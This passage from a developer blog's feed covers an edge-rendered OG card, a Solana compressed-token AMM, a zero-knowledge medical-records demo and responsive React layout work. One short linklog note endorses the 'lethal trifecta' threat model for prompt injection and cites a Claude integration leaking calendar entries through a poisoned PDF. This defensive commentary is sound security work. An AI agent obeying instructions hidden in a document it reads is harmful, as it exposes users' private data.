<p>The card is a <code>1200x630</code> SVG composed inline in TypeScript. The interesting part is the data fetch — I&#39;m pulling live pool reserves from the cached market-data API I&#39;d shipped one commit earlier in <a href="https://github.com/Dax911/z_trade/commit/5627d4d099cff09e708e01ae0a0c77248d714e5f">5627d4d — <code>Add edge-cached market data API</code></a>, so the OG card always reflects the <em>current</em> price, capped to the cache TTL. That&#39;s the entire reason this had to live on the edge: a static image generated at build time would show stale prices forever.</p>
<h2>Trade-offs</h2>
<p><strong>Why not use <a href="https://vercel.com/docs/functions/og-image-generation"><code>@vercel/og</code></a>?</strong> Because we&#39;re on CF Pages, and Vercel&#39;s OG library is bound to React + Satori in a way that&#39;s genuinely hard to extract. <code>svg2png-wasm</code> is 4 dependencies and one WASM file. The cost of &quot;just write the SVG yourself&quot; turned out to be lower than I expected.</p>
<p><strong>Why commit the wasm file to git?</strong> It&#39;s 2MB. My repo is not a museum. I&#39;d rather have a deterministic deploy that doesn&#39;t depend on unpkg being up.</p>
<p><strong>Why not pre-render on cron and serve static PNGs?</strong> Because there are 50+ tokens at any given moment, and pre-rendering all of them on a cron is busywork that wastes cycles 99.9% of the time. The right shape is &quot;render on cache miss, serve from cache for 24h.&quot; Which is what shipped.</p>
<h2>What this taught me</h2>
<p>Cloudflare&#39;s WASM contract is <em>real</em> and you cannot work around it. The error message is clear once you stop swallowing it. The ecosystem of WASM libraries is mostly written assuming Node-style runtime fetch, so half of the porting work is going to be &quot;convince this library to take a <code>WebAssembly.Module</code> instead of a <code>BufferSource</code>.&quot; Some libraries refuse to accept that as a PR; in those cases you write a thin wrapper or you fork.</p>
<p>Five commits in 24 minutes is not a flex. It&#39;s a confession that the only way I could solve this was to ship to production and let the runtime tell me what was wrong, because there is no other place that runs this stack the way Cloudflare does. CI didn&#39;t catch it. Local <code>wrangler pages dev</code> didn&#39;t catch it. Production caught it in 30 seconds.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://developers.cloudflare.com/workers/runtime-apis/webassembly/">Cloudflare Workers — WebAssembly modules</a></li>
<li><a href="https://www.npmjs.com/package/svg2png-wasm"><code>svg2png-wasm</code> on npm</a></li>
<li><a href="https://github.com/Dax911/z_trade/commits/main/?since=2026-02-15">The full sequence of commits on z_trade between 17:03–17:30 UTC</a></li>
<li><a href="/blog/zeraswap_compressed_amm/">ZeraSwap origin post</a> — the project this OG card is for.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[ZeraSwap: An AMM for Compressed Tokens]]></title>
  <id>https://blog.skill-issue.dev/blog/zeraswap_compressed_amm/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/zeraswap_compressed_amm/"/>
  <published>2026-02-10T21:03:36.000Z</published>
  <updated>2026-02-15T00:36:49.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="solana"/>
  <category term="anchor"/>
  <category term="amm"/>
  <category term="light-protocol"/>
  <category term="compressed-tokens"/>
  <category term="rust"/>
  <summary type="html"><![CDATA[Initial commit of the first compressed-token AMM on Solana — Anchor program, x*y=k math, SOL/cToken pairs, and the cyberpunk launchpad UI that grew up around it.]]></summary>
  <content type="html"><![CDATA[<blockquote>
<p>&quot;Initial ZeraSwap: compressed token AMM for Solana&quot;</p>
</blockquote>
<p>That&#39;s the <a href="https://github.com/Dax911/z_trade/commit/b088fe8bf3eb8c1047712abb53d865fd3ac93db3">first commit on z_trade</a>, dropped at 2026-02-10T21:03:36Z. It&#39;s also, as far as I&#39;m aware, the first AMM where the token side of every pool is a Light Protocol compressed token instead of an SPL token. That&#39;s not an accident; that&#39;s the entire pitch.</p>
<p>Solana compressed tokens (<code>@lightprotocol/compressed-token</code>) cost roughly 1/5000th of SPL tokens to mint and transfer at scale, because the account state lives in a Merkle tree off-chain instead of a 175-byte SPL account on-chain. That&#39;s incredible for token launches, terrible for AMMs — because every existing AMM expects to hold token accounts. So if you want compressed tokens to actually be useful as economic objects, you need an AMM that natively takes them.</p>
<h2>The Anchor program</h2>
<p>Seven instructions. From <a href="https://github.com/Dax911/z_trade/blob/b088fe8bf3eb8c1047712abb53d865fd3ac93db3/programs/zeraswap/src/lib.rs"><code>programs/zeraswap/src/lib.rs</code></a>:</p>
<pre><code class="language-rust">#[program]
pub mod zeraswap {
    use super::*;
    pub fn initialize_protocol(ctx, fee_recipient, lp_fee_bps, protocol_fee_bps) -&gt; Result&lt;()&gt; { ... }
    pub fn create_pool(ctx, initial_sol, initial_tokens) -&gt; Result&lt;()&gt; { ... }
    pub fn add_liquidity(ctx, sol_amount, token_amount, min_lp_out) -&gt; Result&lt;()&gt; { ... }
    pub fn remove_liquidity(ctx, lp_amount, min_sol_out, min_tokens_out) -&gt; Result&lt;()&gt; { ... }
    pub fn swap_sol_for_tokens(ctx, sol_in, min_tokens_out) -&gt; Result&lt;()&gt; { ... }
    pub fn swap_tokens_for_sol(ctx, tokens_in, min_sol_out) -&gt; Result&lt;()&gt; { ... }
    pub fn collect_fees(ctx) -&gt; Result&lt;()&gt; { ... }
}
</code></pre>
<p>Constants (<a href="https://github.com/Dax911/z_trade/blob/b088fe8bf3eb8c1047712abb53d865fd3ac93db3/programs/zeraswap/src/constants.rs"><code>constants.rs</code></a>):</p>
<pre><code class="language-rust">pub const DEFAULT_LP_FEE_BPS: u16 = 20;       // 0.20%
pub const DEFAULT_PROTOCOL_FEE_BPS: u16 = 5;  // 0.05%
pub const MAX_FEE_BPS: u16 = 1000;            // 10% max total
pub const MINIMUM_LIQUIDITY: u64 = 1_000;     // locked forever on first deposit
pub const MINIMUM_SOL_RESERVES: u64 = 10_000; // 0.00001 SOL
</code></pre>
<p>The math is <code>x*y=k</code>, the same constant-product curve Uniswap v1 shipped in 2018. There&#39;s a reason every L1 AMM eventually defaults to this: it has no edge cases that you find in production. From <a href="https://github.com/Dax911/z_trade/blob/b088fe8bf3eb8c1047712abb53d865fd3ac93db3/programs/zeraswap/src/instructions/swap.rs"><code>instructions/swap.rs</code></a>:</p>
<pre><code class="language-rust">// Constant product:
// tokens_out = token_reserves * sol_in_after_fee
//            / (sol_reserves + sol_in_after_fee)
let tokens_out = (pool.token_reserves as u128)
    .checked_mul(sol_in_after_fee as u128)?
    .checked_div(
        (pool.sol_reserves as u128).checked_add(sol_in_after_fee as u128)?,
    )? as u64;

require!(tokens_out &gt;= min_tokens_out, ZeraSwapError::SlippageExceeded);
require!(tokens_out &lt; pool.token_reserves, ZeraSwapError::ReservesDrained);
</code></pre>
<p>I wrote it <code>u128</code>-promoted for the multiply, then cast back to <code>u64</code> after the divide, because <code>u64 * u64</code> overflows roughly the moment any pool gets serious volume. Nothing exciting; just the kind of detail that bites you exactly once.</p>
<h2>What&#39;s <em>actually</em> novel</h2>
<p>The thing I had to figure out wasn&#39;t the curve. It was state trees. Each pool gets its own <code>state_tree: Pubkey</code> field in the <a href="https://github.com/Dax911/z_trade/blob/b088fe8bf3eb8c1047712abb53d865fd3ac93db3/programs/zeraswap/src/state.rs"><code>Pool</code></a> struct:</p>
<pre><code class="language-rust">#[account]
pub struct Pool {
    pub token_mint: Pubkey,
    pub lp_mint: Pubkey,
    pub sol_vault: Pubkey,
    /// Dedicated state tree for this pool&#39;s compressed token operations
    pub state_tree: Pubkey,
    pub sol_reserves: u64,
    pub token_reserves: u64,
    pub lp_supply: u64,
    // ...
}
</code></pre>
<p>Light Protocol&#39;s compressed token operations need an explicit <code>state_tree</code> reference. If you forget that, the compress/decompress CPI just silently lands the tokens in someone else&#39;s tree, and your pool can never reconstruct them. Five days of staring at logs taught me to put <code>state_tree</code> directly on the <code>Pool</code> account at creation time and never touch it again.</p>
<h2>Five days later: the cyberpunk launchpad</h2>
<p>The next major commit is <a href="https://github.com/Dax911/z_trade/commit/b6b6fa50c6f9678f69375067b33379d99feeff49">b6b6fa5 — <code>Add shared AMM vault, launchpad, pools, transfers, cyberpunk UI</code></a> on 2026-02-15. This is where the AMM stopped being a barebones swap and started being a launchpad — bonding curves, internal <code>UserPosition.token_balance</code> accounting, a graduation flow at 50 SOL of bonding-curve liquidity, and the cyan/purple cyberpunk frontend that ended up being the project&#39;s identity.</p>
<p>The launchpad is conceptually a separate Anchor program that buys/sells against a virtual reserve (think pump.fun) until a token &quot;graduates&quot; to a real ZeraSwap AMM pool. The curve uses a base reserve to bootstrap price discovery. From the same day, I shipped both <a href="https://github.com/Dax911/z_trade/commit/d01b4683d109af3dc58f48aaf7344d463700de55"><code>f3f71f3</code> and <code>d01b4683</code></a> lowering graduation from 85 → 50 SOL after the first paper trade made it obvious 85 was too high — nobody graduates a token if they need to spend $15K to do it.</p>
<h2>The quality-of-life shift</h2>
<p>The most under-appreciated commit of that February sprint is <a href="https://github.com/Dax911/z_trade/commit/cb14990c6fadb4abe5e111cd716b3bd08a528ae9">cb14990 — <code>Fix RPC spam: pause polling on hidden tabs</code></a>. The whole repo had been making 46–94 RPC calls/min to Helius. New worst case after the fix: 12 calls/min on the active tab, 0 on hidden tabs. The hook is six lines of meaningful code:</p>
<pre><code class="language-ts">// app/src/hooks/useVisibleInterval.ts
function onVisibilityChange() {
  if (document.hidden) {
    stop();
  } else {
    savedCallback.current(); // fire immediately on re-show
    start();
  }
}
document.addEventListener(&quot;visibilitychange&quot;, onVisibilityChange);
</code></pre>
<p>A free tier of Helius is 100k calls/day. A tab open for 24 hours at 94 calls/min burns through that in 18 hours. This bug was costing me real money. The fix shipped 12 days into the project.</p>
<h2>Trade-offs</h2>
<p><strong>Why not use an existing AMM SDK?</strong> Because none of them know what to do with <code>@lightprotocol/compressed-token</code>. Orca, Raydium, Meteora — every one of them assumes SPL token accounts. By the time you&#39;ve patched their account derivation, you&#39;ve written your own program anyway.</p>
<p><strong>Why x*y=k instead of concentrated liquidity?</strong> Because the AMM is a graduation target for the launchpad, not a yield-farming venue. The launch flow guarantees pools start with deep, balanced reserves. Concentrated liquidity in that environment is just a way to price-impact yourself. If somebody serious comes along and wants to bring real liquidity, they can fork the program; the math is 30 lines.</p>
<p><strong>Why two fees (LP + protocol)?</strong> Because I don&#39;t trust myself to skim the protocol fee out of LP revenue post-hoc. Putting the protocol fee on a separate counter from the start was cheap then and saved me a <code>migrate_config</code> (<a href="https://github.com/Dax911/z_trade/commit/6d044f7efcb3c4debc36fa33d68518748ed04158"><code>6d04415</code></a>) later — well, <em>almost</em> saved me. We&#39;ll get to that.</p>
<h2>What this taught me</h2>
<p>Compressed tokens are an unfair advantage for whoever ships first, because the entire DEX ecosystem on Solana is built on the assumption that &quot;token&quot; = &quot;SPL Token Account.&quot; Light Protocol changed that assumption. The block of code most people miss is keeping a <code>state_tree</code> field on every pool — once you&#39;ve done that, everything else is x*y=k and being kind to your RPC provider.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/z_trade">z_trade on GitHub</a></li>
<li><a href="https://github.com/Dax911/z_trade/commit/b088fe8bf3eb8c1047712abb53d865fd3ac93db3">Initial ZeraSwap commit</a></li>
<li><a href="https://www.lightprotocol.com/">Light Protocol — compressed tokens</a></li>
<li><a href="/blog/a_better_crypto/">&quot;Building A Better Cryptocurrency&quot;</a> — the stance on protocol-level fee design that informed <code>MAX_FEE_BPS = 1000</code>.</li>
<li><a href="/blog/stuck_sell_post_grad/">Stuck Sell, Post-Graduation</a> — the bug this design eventually wrote me a check for.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Simon Willison: the lethal trifecta is finally a meme]]></title>
  <id>https://blog.skill-issue.dev/notes/willison-prompt-injection-roundup/</id>
  <link rel="alternate" type="text/html" href="https://simonwillison.net/2026/Feb/12/lethal-trifecta/"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/willison-prompt-injection-roundup/"/>
  <published>2026-02-14T11:05:00.000Z</published>
  <updated>2026-02-14T11:05:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="llm"/>
  <category term="security"/>
  <category term="linklog"/>
  <content type="html"><![CDATA[<p>Simon&#39;s been hammering on this framing for two years and it&#39;s finally landed: any agent that has <strong>private data + untrusted input + ability to exfiltrate</strong> is, by construction, a prompt-injection victim waiting to happen.</p>
<p>The new piece adds a clean threat-model checklist that I&#39;m stealing for our internal review template. The screenshot of a Claude desktop integration leaking calendar entries via a poisoned PDF is going to make a lot of execs nervous.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[ZK-FHIR: A Medical Demo That Doesn’t Leak Patients]]></title>
  <id>https://blog.skill-issue.dev/blog/zera_med_zk_fhir/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/zera_med_zk_fhir/"/>
  <published>2026-02-11T06:29:06.000Z</published>
  <updated>2026-02-11T23:04:18.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera"/>
  <category term="zk"/>
  <category term="risc-zero"/>
  <category term="fhir"/>
  <category term="healthcare"/>
  <category term="privacy"/>
  <category term="cloudflare-pages"/>
  <summary type="html"><![CDATA[Building a RISC Zero zkVM gateway for FHIR-shaped medical records — proofs over private patient data, zero-knowledge insurance claims, and HIV/STI compartmentalization.]]></summary>
  <content type="html"><![CDATA[<p>The whole <code>zera_med_demo</code> repo exists because someone asked me, &quot;if your privacy chain is real, prove it works for something other than crypto bros.&quot; Fair. So I spent a weekend building a working RISC Zero zkVM gateway for FHIR-shaped medical records. The MVP shipped at <a href="https://github.com/Dax911/zera_med_demo/commit/8ae0a7a64096376893206187e61e2c9f295a9050">commit 8ae0a7a — <code>Zera Medical ZK-FHIR Gateway MVP</code></a> on 2026-02-11.</p>
<p>Full-stack: React frontend, Express + SQLite backend, real RISC Zero zkVM in <code>zkvm/</code>. Nine proof operations, every one of them running through an actual guest program — none of this &quot;we&#39;ll mock the proof&quot; demo nonsense.</p>
<h2>The shape of the problem</h2>
<p>FHIR is healthcare&#39;s answer to &quot;data interoperability.&quot; The thing FHIR does not do is privacy. If a hospital sends FHIR records to an insurer to back a claim, the insurer learns the entire record. If a researcher queries an aggregate, the institution sending data has to trust the researcher&#39;s de-identification.</p>
<p>ZK lets you flip that. The prover holds the private record. The verifier learns only what the proof&#39;s public outputs reveal. Everything else stays on the prover&#39;s side of the airgap.</p>
<p>The MVP defined nine operations, each with a strict private/public split:</p>
<pre><code class="language-rust">// zkvm/methods/guest/src/main.rs
match operation.as_str() {
    &quot;record_commit&quot;      =&gt; run_record_commit(),
    &quot;access_verify&quot;      =&gt; run_access_verify(),
    &quot;aggregate_query&quot;    =&gt; run_aggregate_query(),
    &quot;insurance_claim&quot;    =&gt; run_insurance_claim(),
    &quot;consent_grant&quot;      =&gt; run_consent_grant(),
    &quot;consent_revoke&quot;     =&gt; run_consent_revoke(),
    &quot;emergency_access&quot;   =&gt; run_emergency_access(),
    &quot;prior_auth&quot;         =&gt; run_prior_auth(),
    &quot;compliance_audit&quot;   =&gt; run_compliance_audit(),
    _ =&gt; panic!(&quot;Unknown operation: {}&quot;, operation),
}
</code></pre>
<p>The model: every guest reads private inputs (the patient record, the credential, the consent), commits exactly the public outputs the use case needs, and nothing else. <code>record_commit</code> for example is just a content-addressed handle — the journal carries <code>commitment_hash</code>, <code>patient_id_hash</code>, <code>record_type</code>, <code>resource_count</code>, <code>data_hash</code>. The actual conditions and observations never leave the prover.</p>
<h2><code>access_verify</code>: the boring proof that justifies the whole thing</h2>
<p>If you only have the patience for one operation, it&#39;s this one. Doctor wants to read patient X. The hospital has a credential, the patient has signed a consent, and someone has to verify — without revealing the contents of the record — that the access was valid. From <a href="https://github.com/Dax911/zera_med_demo/blob/8ae0a7a64096376893206187e61e2c9f295a9050/zkvm/methods/guest/src/main.rs"><code>zkvm/methods/guest/src/main.rs</code></a>:</p>
<pre><code class="language-rust">let credential_valid = !input.credential.role.is_empty()
    &amp;&amp; !input.credential.institution.is_empty()
    &amp;&amp; input.credential.valid_until &gt;= input.current_timestamp;

let consent_valid = input.consent.grantee_id == input.credential.accessor_id
    &amp;&amp; input.consent.purpose == input.purpose
    &amp;&amp; input.consent.valid_from &lt;= input.current_timestamp
    &amp;&amp; input.consent.valid_until &gt;= input.current_timestamp;

let authorized = credential_valid &amp;&amp; consent_valid;
</code></pre>
<p>Boring. That&#39;s the point. The boring part is the predicate. The interesting part is that <code>input.patient_record</code> — which the predicate doesn&#39;t even read — never leaves the zkVM. The verifier learns:</p>
<ul>
<li>Was access authorized? (a single bit)</li>
<li>What role accessed it? (<code>Doctor</code>, <code>Researcher</code>, <code>Insurer</code>)</li>
<li>A nullifier:<pre><code class="language-rust">let mut nullifier_hasher = Sha256::new();
nullifier_hasher.update(&amp;input.credential.accessor_id);
nullifier_hasher.update(&amp;record_hash);
nullifier_hasher.update(&amp;input.current_timestamp);
let nullifier = hex::encode(nullifier_hasher.finalize());
</code></pre>
</li>
</ul>
<p>The nullifier prevents the same access from being double-counted in audits. The record hash binds the access to a specific record without revealing it. That&#39;s the whole shape of every other operation in the demo.</p>
<h2>The detour: insurance claims that compartmentalize by carrier</h2>
<p>The next interesting commit is <a href="https://github.com/Dax911/zera_med_demo/commit/c65cab8954ddc0a3ba7b308a58b36078497d34f9">c65cab8 — <code>Add ZKP visualization modal, HIV/STI data, insurer selectors</code></a> on 2026-02-11. Three things landed at once:</p>
<ol>
<li><strong>The ZK proof modal</strong> — a full-screen animated panel that walks the user through <code>Private Data → RISC Zero zkVM → Proof Output</code>, with a comparison panel showing what the verifier sees vs. what the prover holds. Educational. People who&#39;ve never touched a Groth16 receipt before will sit through 90 seconds of animation if it&#39;s pretty.</li>
<li><strong>HIV/STI data</strong>. ICD-10 codes B20 (HIV disease), Z21 (asymptomatic HIV), Hep B/C, syphilis, gonorrhea, chlamydia, herpes, HPV. Plus viral load, CD4, PCR observations. ARVs: Biktarvy, Triumeq, Descovy PrEP. This is the data category that destroys lives when it leaks. So obviously this is the category the demo has to handle, or the demo is decorative.</li>
<li><strong>Insurer compartmentalization</strong>. Each insurer&#39;s view is filtered to its own members. Aetna users don&#39;t see UnitedHealth records. The demo enforces this in the SQLite layer, but the ZK guest enforces it cryptographically — <code>insurance_claim</code> commits the insurer&#39;s identity in the journal, and the seed data is stamped with insurer membership.</li>
</ol>
<p>This isn&#39;t theoretical. Compartmentalization is the only reason this kind of demo isn&#39;t a HIPAA disaster waiting to happen.</p>
<h2>Cloudflare Pages: the dumb part of any full-stack demo</h2>
<p>Three of the six commits in the repo are deploy fixes. <a href="https://github.com/Dax911/zera_med_demo/commit/c59509d3a6419944cb60cf6b1758dddc6f98b791">c59509d — <code>Fix Cloudflare build: track src/data/types.ts</code></a>, <a href="https://github.com/Dax911/zera_med_demo/commit/2efff06c6d21c4a38fcb97d509a5b08bae5c039f">2efff06 — <code>Add missing HospitalResult type</code></a>, <a href="https://github.com/Dax911/zera_med_demo/commit/1d0c2e28a3c6a09381632cd9c6ca8155a6515d39">1d0c2e2 — <code>Add wrangler.jsonc for Cloudflare Pages static asset deploy</code></a>.</p>
<p>This is the part of every demo nobody writes about. You build a beautiful zk pipeline, you ship it to a static host, the host&#39;s build environment doesn&#39;t have a TypeScript file you forgot to track, and three commits later your gitignore is shorter and you&#39;ve learned not to put <code>src/data/types.ts</code> in <code>.gitignore</code>. Real life.</p>
<h2>What this taught me</h2>
<p>The fact that I had to ship the <em>demo</em> before anyone took the privacy claim seriously is a recurring theme. People do not believe a chain is private because the white paper says so. They believe it because they can click a button labeled &quot;Run Insurance Claim Proof&quot; and watch the modal split private inputs from public outputs in real time. That modal is the most expensive component in the repo. It is also the only one that materially changed how the demo lands.</p>
<p>The other thing this taught me: RISC Zero is unreasonably good for &quot;let me prove a JavaScript-like predicate over JSON-shaped private data without learning to write Circom.&quot; The guest is just Rust. The verifier is a single library call. If your team&#39;s bottleneck is &quot;we can&#39;t hire a circuit engineer for one demo,&quot; reach for a zkVM before you reach for snarkjs.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/zera_med_demo">zera_med_demo on GitHub</a> — the whole repo.</li>
<li><a href="https://github.com/Dax911/zera_med_demo/commit/8ae0a7a64096376893206187e61e2c9f295a9050">Initial MVP commit</a> — full guest + host implementation.</li>
<li><a href="https://dev.risczero.com/">RISC Zero zkVM docs</a> — what <code>env::commit</code> actually does.</li>
<li><a href="https://www.hl7.org/fhir/">HL7 FHIR spec</a> — the data shape this demo is hiding.</li>
<li><a href="/blog/a_better_crypto/">Building A Better Cryptocurrency</a> — same privacy thesis, different vertical.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Cloudflare build fails: missing type alias]]></title>
  <id>https://blog.skill-issue.dev/notes/zera-med-cf-build-missing-type/</id>
  <link rel="alternate" type="text/html" href="https://github.com/Dax911/zera_med_demo/commit/2efff06"/>
  <link rel="related" type="text/html" href="https://blog.skill-issue.dev/notes/zera-med-cf-build-missing-type/"/>
  <published>2026-02-11T23:02:56.000Z</published>
  <updated>2026-02-11T23:02:56.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="notes"/>
  <category term="zera-med"/>
  <category term="cloudflare"/>
  <category term="tribal-knowledge"/>
  <content type="html"><![CDATA[<p>Cloudflare Pages build kept failing with <code>Type &#39;HospitalResult&#39; is not exported</code>. Locally <code>astro check</code> was happy. The reason: <code>tsconfig.json</code> had <code>&quot;include&quot;: [&quot;src&quot;]</code> but the file with the type lived at <code>src/data/types.ts</code> — and <code>git status</code> showed it as untracked because I forgot to <code>git add</code>.</p>
<p>Local TS resolves untracked files fine if they&#39;re in the working tree. CI clones from a SHA and only sees what was committed. <strong><code>git add</code> is part of &quot;writing the code&quot;, not part of &quot;publishing it&quot;</strong>. I trip over this maybe once a year.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[A Privacy Demo That Works on a Phone: Mobile Drawer, HUD Offsets, and Real Breach Data]]></title>
  <id>https://blog.skill-issue.dev/blog/zera_med_responsive_hud/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/zera_med_responsive_hud/"/>
  <published>2026-02-11T22:48:22.000Z</published>
  <updated>2026-02-11T22:48:22.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="zera-med"/>
  <category term="react"/>
  <category term="tailwind"/>
  <category term="responsive"/>
  <category term="accessibility"/>
  <category term="framer-motion"/>
  <category term="demo"/>
  <summary type="html"><![CDATA[Bolting a mobile drawer onto the Zera Med ZK-FHIR demo without breaking the desktop sidebar, fixing AnimatePresence warnings, and updating PrivacyChallenge with 2024-2025 breach data.]]></summary>
  <content type="html"><![CDATA[<p>The unspoken rule of demo apps is that they&#39;re built for laptops. You&#39;d never demo a healthcare privacy product from a phone. You&#39;d plug the laptop into a projector and run it from a 13&quot; screen. Real users wouldn&#39;t be on a phone, the dataset has columns that don&#39;t fit on mobile, and you&#39;ve shipped a desktop-only experience without thinking about it.</p>
<p>But every demo I&#39;ve done in 2026 has had at least one person in the room pulling up the URL on their phone <em>while I&#39;m presenting</em>. They&#39;re checking the responsive design. They&#39;re clicking around in the half-attention you&#39;d give a panel discussion. If the phone experience falls apart, that person walks away with the impression that the product falls apart, regardless of how clean the laptop view is.</p>
<p><a href="https://github.com/Dax911/zera_med_demo/commit/bb9bb51"><code>bb9bb51 — Add responsive layout with mobile drawer, centered content, and accuracy updates</code></a> on 2026-02-11 was the day I bolted on real mobile support. Six files changed, +4969 lines, three new pages. Let&#39;s look at what mattered.</p>
<h2>The mobile drawer pattern</h2>
<p>The desktop nav is a fixed left sidebar. The mobile nav is a hamburger that slides a drawer in from the left. The trick is doing both with the same component tree:</p>
<pre><code class="language-tsx">// Sidebar.tsx (excerpt)
const isMobile = useMediaQuery(&#39;(max-width: 1023px)&#39;)
const [drawerOpen, setDrawerOpen] = useState(false)

return (
  &lt;&gt;
    {/* Mobile header — only on small screens */}
    {isMobile &amp;&amp; (
      &lt;header className=&quot;fixed top-0 left-0 right-0 h-14 z-40 ...&quot;&gt;
        &lt;button onClick={() =&gt; setDrawerOpen(true)}&gt;☰&lt;/button&gt;
        &lt;span className=&quot;brand&quot;&gt;Zera Med&lt;/span&gt;
        &lt;RoleBadge role={role} /&gt;
      &lt;/header&gt;
    )}

    {/* Sidebar — fixed left on desktop, slide-in drawer on mobile */}
    &lt;AnimatePresence&gt;
      {(!isMobile || drawerOpen) &amp;&amp; (
        &lt;motion.aside
          initial={isMobile ? { x: -300 } : false}
          animate={{ x: 0 }}
          exit={isMobile ? { x: -300 } : undefined}
          transition={{ type: &#39;spring&#39;, damping: 24 }}
          className=&quot;...&quot;
        &gt;
          {/* nav links */}
        &lt;/motion.aside&gt;
      )}
    &lt;/AnimatePresence&gt;

    {/* Backdrop — only when drawer is open on mobile */}
    {isMobile &amp;&amp; drawerOpen &amp;&amp; (
      &lt;motion.div
        className=&quot;fixed inset-0 bg-black/60 z-30&quot;
        onClick={() =&gt; setDrawerOpen(false)}
        initial={{ opacity: 0 }}
        animate={{ opacity: 1 }}
        exit={{ opacity: 0 }}
      /&gt;
    )}
  &lt;/&gt;
)
</code></pre>
<p>Three things to call out:</p>
<p><strong><code>useMediaQuery</code> — not just <code>window.innerWidth</code>.</strong> I added a tiny hook in this commit:</p>
<pre><code class="language-tsx">// useMediaQuery.ts
export function useMediaQuery(query: string): boolean {
  const [matches, setMatches] = useState(() =&gt;
    typeof window !== &#39;undefined&#39; &amp;&amp; window.matchMedia(query).matches
  )
  useEffect(() =&gt; {
    const mq = window.matchMedia(query)
    const onChange = (e: MediaQueryListEvent) =&gt; setMatches(e.matches)
    mq.addEventListener(&#39;change&#39;, onChange)
    return () =&gt; mq.removeEventListener(&#39;change&#39;, onChange)
  }, [query])
  return matches
}
</code></pre>
<p>The reason <code>window.innerWidth</code> is wrong: it doesn&#39;t subscribe to changes. You&#39;d need a manual <code>resize</code> listener with debouncing. <code>matchMedia</code> with <code>addEventListener(&#39;change&#39;)</code> is the platform-native way and it&#39;s both faster (no JS resize event spam during drag-resize) and less code.</p>
<p><strong><code>{(!isMobile || drawerOpen) &amp;&amp; ...}</code>.</strong> The mount/unmount logic. On desktop, the sidebar is always present. On mobile, it&#39;s only present when the drawer is open. This is what <code>AnimatePresence</code> needs to wrap correctly — the component literally unmounts when the drawer closes, which triggers the slide-out exit animation.</p>
<p><strong>Body scroll lock.</strong> Not in the snippet but in the full diff: when the drawer is open on mobile, <code>document.body.style.overflow = &#39;hidden&#39;</code> to prevent the underlying page from scrolling under the drawer. Without this, the drawer is open, the user starts scrolling, and the <em>page behind the drawer</em> scrolls instead of the drawer&#39;s contents. UX bug from hell.</p>
<h2>Sticky HUDs and the mobile-header offset</h2>
<p>The Zera Med demo has &quot;HUD panels&quot; that stick to the top of the page on each route — they show the current role (Patient/Doctor/Insurer/etc.) and a quick action menu. On desktop, they sit at <code>top: 0</code>. On mobile, the page has a 56px header at <code>top: 0</code> already, so the HUDs need to slide down by 56px:</p>
<pre><code class="language-jsx">&lt;div className=&quot;sticky top-14 lg:top-0 z-20 ...&quot;&gt;
  &lt;RoleBadge /&gt;
  &lt;QuickActions /&gt;
&lt;/div&gt;
</code></pre>
<p>Tailwind&#39;s <code>top-14</code> is <code>3.5rem</code> = 56px. <code>lg:top-0</code> overrides for <code>lg+</code> viewports where the mobile header isn&#39;t rendered. Two utility classes, exactly the right offset, no media-query logic in the component.</p>
<p>This is the kind of thing that&#39;s easy to miss until the demo opens on a phone and the HUD is hidden behind the mobile header. Then you spend ten minutes debugging because everything looks fine in dev tools&#39; &quot;responsive&quot; mode, where the mobile header <em>is</em> shown but the layout is otherwise desktop. The fix is one className. Finding the bug is the project.</p>
<h2>Tight grids that collapse gracefully</h2>
<p>The dashboards have grids like <code>grid-cols-4</code> and <code>grid-cols-6</code> for layouts of metric cards. On a 320px-wide phone, four cards across is 80px each, which is unreadable. The solution is per-breakpoint cols:</p>
<pre><code class="language-jsx">&lt;div className=&quot;grid grid-cols-2 md:grid-cols-3 lg:grid-cols-6 gap-3&quot;&gt;
  {metrics.map(m =&gt; &lt;MetricCard {...m} /&gt;)}
&lt;/div&gt;
</code></pre>
<p>This is the standard Tailwind approach — it&#39;s not novel — but applying it to <em>every grid</em> in the demo took a careful pass. Some grids in the original were <code>grid-cols-4</code> (no breakpoint prefix), which forced four-across on every viewport. The diff replaced 12 such grids with breakpoint-aware variants.</p>
<p>The mental model I use: <strong><code>grid-cols-N</code> should always have a <code>&lt;breakpoint&gt;:grid-cols-K</code> partner unless you&#39;ve intentionally decided &quot;this layout is mobile-only&quot; or &quot;this layout never goes below 4 across.&quot;</strong> The default of &quot;this works on 1280px-wide screens and breaks below&quot; is the desktop-blinkered version of the same component.</p>
<h2>Fixing the <code>AnimatePresence</code> warning</h2>
<pre><code>Warning: Each child in a list should have a unique &quot;key&quot; prop.
Or alternatively when using AnimatePresence: AnimatePresence requires every child to have a unique `key` prop, even when only one child is rendered.
</code></pre>
<p>Anyone who&#39;s used Framer Motion has seen this. The PrivacyChallenge component had this exact bug — a single conditionally-rendered <code>&lt;motion.div&gt;</code> inside <code>&lt;AnimatePresence&gt;</code> with no key prop. The fix:</p>
<pre><code class="language-jsx">&lt;AnimatePresence mode=&quot;wait&quot;&gt;
  {currentLab &amp;&amp; (
    &lt;motion.div
      key={currentLab.id}                  // ← was missing
      initial={{ opacity: 0, y: 24 }}
      animate={{ opacity: 1, y: 0 }}
      exit={{ opacity: 0, y: -24 }}
    &gt;
      &lt;LabContent {...currentLab} /&gt;
    &lt;/motion.div&gt;
  )}
&lt;/AnimatePresence&gt;
</code></pre>
